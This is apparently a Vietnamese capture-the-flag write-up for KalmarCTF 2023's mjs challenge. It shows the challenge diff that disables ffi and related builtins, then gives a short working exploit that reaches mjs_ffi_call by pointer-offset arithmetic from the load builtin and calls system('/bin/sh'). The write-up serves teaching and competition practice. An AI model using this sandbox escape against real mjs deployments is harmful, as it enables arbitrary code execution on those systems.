KalmarCTF 2023: mjs
0x00 Overview #
Đây là một bài liên quan đến mjs engine
, đã patch hàm ffi()
và có lỗ hổng OOB. Từ đó, nhiệm vụ là gọi hàm system()
thông qua hàm ffi()
.
0x01 Vulnerability #
Bản diff
đã vá một số hàm nguy hiểm như ffi()
, ffi_cb_free()
, mkstr()
và s2o()
.
- mjs_set(mjs, obj, "ffi", ~0,
- mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_call));
- mjs_set(mjs, obj, "ffi_cb_free", ~0,
- mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_cb_free));
- mjs_set(mjs, obj, "mkstr", ~0,
- mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_mkstr));
+ /* mjs_set(mjs, obj, "ffi", ~0, */
+ /* mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_call)); */
+ /* mjs_set(mjs, obj, "ffi_cb_free", ~0, */
+ /* mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_cb_free)); */
+ /* mjs_set(mjs, obj, "mkstr", ~0, */
+ /* mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_mkstr)); */
mjs_set(mjs, obj, "getMJS", ~0,
mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_get_mjs));
mjs_set(mjs, obj, "die", ~0,
@@ -151,8 +151,8 @@ void mjs_init_builtin(struct mjs *mjs, mjs_val_t obj)
mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_do_gc));
mjs_set(mjs, obj, "chr", ~0,
mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_chr));
- mjs_set(mjs, obj, "s2o", ~0,
- mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_s2o));
+ /* mjs_set(mjs, obj, "s2o", ~0, */
+ /* mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_s2o)); */
Những hàm trên đã không hoàn toàn bị xóa đi. Mình có thử một vài ví dụ và thấy rằng mjs
gọi các built-in functions bằng các con trỏ.
print(load)
<foreign_ptr@557dbd9504c0>
undefined
Lỗ hổng OOB xuất hiện ở đây, chúng ta có thể gọi bất cứ hàm nào thông qua việc tính offset giữa hàm cần gọi với built-in functions, sau đó gọi hàm đó thông qua con trỏ.
0x02 FFI function #
Dựa vào docs, ta biết được ffi()
cho phép load và gọi các hàm trong C một cách trực tiếp. Vậy đối với bài toán này, mục tiêu chúng ta sẽ phải gọi ffi('int system(char *)')('/bin/sh')
.
0x03 Exploitation #
Như đã phân tích ở trên, chúng ta chỉ cần tính offset chênh lệch giữa hàm mjs_load()
với mjs_ffi_call()
, sau đó gọi hàm lấy shell thông qua con trỏ.
let mjs_load = 0x5555555594c0;
let mjs_ffi_call = 0x555555560110;
let system = (load + (mjs_ffi_call - mjs_load))('int system(char *)');
system('/bin/sh');